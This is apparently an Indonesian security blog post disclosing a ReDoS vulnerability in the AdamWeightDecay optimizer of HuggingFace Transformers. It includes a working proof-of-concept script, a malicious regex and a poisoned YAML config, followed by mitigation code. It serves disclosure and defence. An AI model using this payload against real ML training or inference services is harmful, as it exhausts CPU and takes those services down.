Hades Xploit
01HOME
02ARTICLES
03TOOLS
04TERMS
05PRIVACY
06DISCLAIMER
07LOGIN
08CTF

Xploit the Unknown // Defend the Known

mediumArticle

Bagaimana saya mendapatkan CVE-2025-6921 di huggingface

x0_Hades
01 May 2026
5 min read
Bagaimana saya mendapatkan CVE-2025-6921 di huggingface

Tingkat Keparahan: High | CVE Status: Dilaporkan 18 Juni 2025 | Komponen: AdamWeightDecay Optimizer


Pendahuluan

Di balik kemudahan framework machine learning modern, tersembunyi celah keamanan yang sering luput dari perhatian. Salah satunya baru-baru ini ditemukan pada library HuggingFace Transformers — sebuah kerentanan Regular Expression Denial of Service (ReDoS) yang bersarang di dalam optimizer AdamWeightDecay.

Kerentanan ini bukan sekadar bug biasa. Dalam skenario yang tepat, seorang penyerang bisa membuat seluruh proses training atau inferensi model berhenti total, cukup dengan menyisipkan satu baris regex yang berbahaya.


Apa Itu ReDoS?

ReDoS (Regular Expression Denial of Service) adalah serangan yang memanfaatkan kelemahan pada mesin pemrosesan regex. Beberapa pola regex, ketika dicocokkan dengan input tertentu, menyebabkan catastrophic backtracking — kondisi di mana mesin regex mencoba jutaan hingga miliaran kemungkinan path sebelum menyimpulkan tidak ada kecocokan.

Hasilnya: satu CPU core terkunci pada 100% utilisasi, dan program praktis hang tanpa batas waktu.

Contoh Pola Berbahaya

a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b

Pola di atas tampak sederhana, namun ketika dicocokkan dengan string seperti "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" (tanpa b di akhir), mesin regex Python akan mengeksplorasi jumlah kombinasi yang eksponensial sebelum menyerah.


Lokasi Kerentanan

Kerentanan ada di method _do_use_weight_decay dalam class AdamWeightDecay, pada file optimizer HuggingFace Transformers.

python
def _do_use_weight_decay(self, param_name):
    """Whether to use L2 weight decay for `param_name`."""
    if self.weight_decay_rate == 0:
        return False

    if self._include_in_weight_decay:
        for r in self._include_in_weight_decay:
            # ⚠️ BARIS RENTAN: Regex 'r' yang berbahaya akan membuat
            # re.search hang saat dicocokkan dengan 'param_name'
            if re.search(r, param_name) is not None:
                return True

    if self._exclude_from_weight_decay:
        for r in self._exclude_from_weight_decay:
            # ⚠️ BARIS RENTAN: Path logika kedua juga terekspos
            if re.search(r, param_name) is not None:
                return False
    return True

Method ini dipanggil untuk setiap parameter model selama proses training, menjadikannya titik eksekusi yang sering dan krusial.

Jalur Masuk Penyerang

Pola regex berbahaya masuk melalui fungsi create_optimizer:

python
def create_optimizer(
    init_lr,
    num_train_steps,
    num_warmup_steps,
    weight_decay_rate=0.0,
    include_in_weight_decay: Optional[list[str]] = None,  # ← Titik injeksi
    # ...
):
    if weight_decay_rate > 0.0:
        optimizer = AdamWeightDecay(
            learning_rate=lr_schedule,
            weight_decay_rate=weight_decay_rate,
            include_in_weight_decay=include_in_weight_decay,  # ← Diteruskan langsung
        )
    return optimizer, lr_schedule

Parameter include_in_weight_decay dan exclude_from_weight_decay diterima tanpa validasi atau sanitasi apapun sebelum digunakan dalam re.search.


Proof of Concept (PoC)

Berikut adalah reproduksi minimal kerentanan ini:

python
# poc_redos.py
import tensorflow as tf
import time
from hf_optimizer import create_optimizer

def run_poc():
    # Regex berbahaya yang memicu catastrophic backtracking
    malicious_regex = "a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b"

    # Nama parameter yang akan memicu ReDoS (banyak 'a', tidak ada 'b')
    param_name = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

    print(f"[*] Injecting malicious regex: '{malicious_regex}'")
    print(f"[*] Target parameter name: '{param_name}'")
    print("[!] Program akan hang di sini — periksa CPU usage Anda...")

    # Membuat optimizer dengan regex berbahaya
    optimizer, _ = create_optimizer(
        init_lr=1e-4,
        num_train_steps=100,
        num_warmup_steps=10,
        weight_decay_rate=0.01,
        include_in_weight_decay=[malicious_regex]  # ← Injeksi terjadi di sini
    )

    # Simulasi variabel model dan gradien
    model_variable = tf.Variable([1.0, 2.0], name=param_name)
    gradient = tf.constant([0.1, 0.1])

    # Memicu kerentanan — apply_gradients memanggil _do_use_weight_decay
    start_time = time.time()
    optimizer.apply_gradients(zip([gradient], [model_variable]))
    print(f"[+] Selesai dalam {time.time() - start_time:.2f} detik")

if __name__ == "__main__":
    run_poc()

Output yang diharapkan saat rentan:

[*] Injecting malicious regex: 'a?a?a?a?...b'
[*] Target parameter name: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
[!] Program akan hang di sini — periksa CPU usage Anda...
# ← Program tidak pernah sampai ke baris berikutnya

Saat eksekusi terhenti, satu core CPU akan tercatat berjalan di 100% utilisasi secara terus-menerus.


Analisis Dampak

Skenario Serangan Nyata

Dalam ekosistem ML modern, konfigurasi optimizer sering dibaca dari file eksternal:

yaml
# config.yaml — file konfigurasi training yang bisa dikontrol penyerang
optimizer:
  type: AdamWeightDecay
  weight_decay_rate: 0.01
  include_in_weight_decay:
    - "a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?b"

Jika training script membaca konfigurasi ini tanpa validasi, satu baris dalam YAML sudah cukup untuk melumpuhkan sistem.

Siapa yang Berisiko?

SkenarioRisiko
Platform training ML yang menerima konfigurasi dari penggunaTinggi
API inferensi yang memuat optimizer dari config fileTinggi
Pipeline AutoML dengan parameter yang dikonfigurasi penggunaSedang
Script training lokal dengan konfigurasi hardcodedRendah

Konsekuensi

  • CPU exhaustion — satu core terkunci 100% tanpa batas waktu
  • Service unavailability — proses training atau inferensi terhenti total
  • Cascading failure — jika satu worker hang, seluruh job training bisa gagal
  • Resource cost — pada cloud infrastructure, biaya tetap berjalan meski sistem hang

Rekomendasi Mitigasi

1. Gunakan re.timeout atau regex Library dengan Timeout

python
import re
import signal

def safe_search(pattern, string, timeout=1):
    """Wrapper re.search dengan timeout."""
    def handler(signum, frame):
        raise TimeoutError(f"Regex timeout: {pattern}")

    signal.signal(signal.SIGALRM, handler)
    signal.alarm(timeout)
    try:
        result = re.search(pattern, string)
        signal.alarm(0)
        return result
    except TimeoutError:
        return None

2. Validasi Pola Regex Sebelum Digunakan

python
import re

def validate_regex(pattern: str) -> bool:
    """Tolak pola yang berpotensi menyebabkan ReDoS."""
    # Deteksi pola berulang yang ambigu — tanda khas ReDoS
    dangerous_patterns = [
        r'(\w+\?){10,}',     # Banyak quantifier opsional berturut-turut
        r'(\w+\+){5,}',      # Nested plus quantifiers
        r'\(\w+\)\*.*\1',    # Backreference dengan star quantifier
    ]

    try:
        re.compile(pattern)  # Pastikan sintaks valid
    except re.error:
        return False

    for dp in dangerous_patterns:
        if re.search(dp, pattern):
            return False
    return True

3. Gunakan Library re2 yang Aman dari ReDoS

python
# re2 menggunakan finite automata — dijamin O(n) time complexity
# pip install google-re2
import re2

# Ganti re.search dengan re2.search
if re2.search(r, param_name) is not None:
    return True

Library re2 dari Google menggunakan algoritma berbasis finite automata yang tidak pernah mengalami catastrophic backtracking, dengan trade-off ketidaksupport-an beberapa fitur regex advanced seperti backreferences.

4. Whitelist Pendekatan

python
def _do_use_weight_decay(self, param_name):
    if self.weight_decay_rate == 0:
        return False

    if self._include_in_weight_decay:
        for r in self._include_in_weight_decay:
            # Validasi sebelum digunakan
            if not self._is_safe_pattern(r):
                raise ValueError(f"Unsafe regex pattern detected: {r}")
            if re.search(r, param_name) is not None:
                return True
    # ...

@staticmethod
def _is_safe_pattern(pattern: str) -> bool:
    """Validasi pola regex aman dari ReDoS."""
    max_length = 200
    if len(pattern) > max_length:
        return False
    # Tambahkan validasi lain sesuai kebutuhan
    return True

Timeline

TanggalKejadian
18 Juni 2025Kerentanan dilaporkan ke HuggingFace
TBDPatch resmi dirilis
CVE ReleasedCVE-2025-6921

Kesimpulan

Kerentanan ReDoS pada AdamWeightDecay ini mengingatkan kita pada prinsip keamanan yang sering terlupakan dalam dunia ML: input dari pengguna tidak boleh dipercaya begitu saja, bahkan untuk parameter yang tampak tidak berbahaya seperti daftar nama layer.

Regex adalah alat yang powerful, namun dalam konteks sistem yang menerima input dari luar, ia bisa menjadi vektor serangan yang efektif. Solusinya tidak rumit — validasi input, gunakan library yang aman, dan terapkan timeout — namun membutuhkan kesadaran bahwa keamanan sistem ML bukan hanya soal model dan data, tapi juga soal infrastruktur dan kode yang menjalankannya.


Artikel ini ditulis berdasarkan laporan kerentanan yang diterima pada 18 Juni 2025. Informasi teknis disajikan untuk tujuan edukasi dan kesadaran keamanan.

Referensi: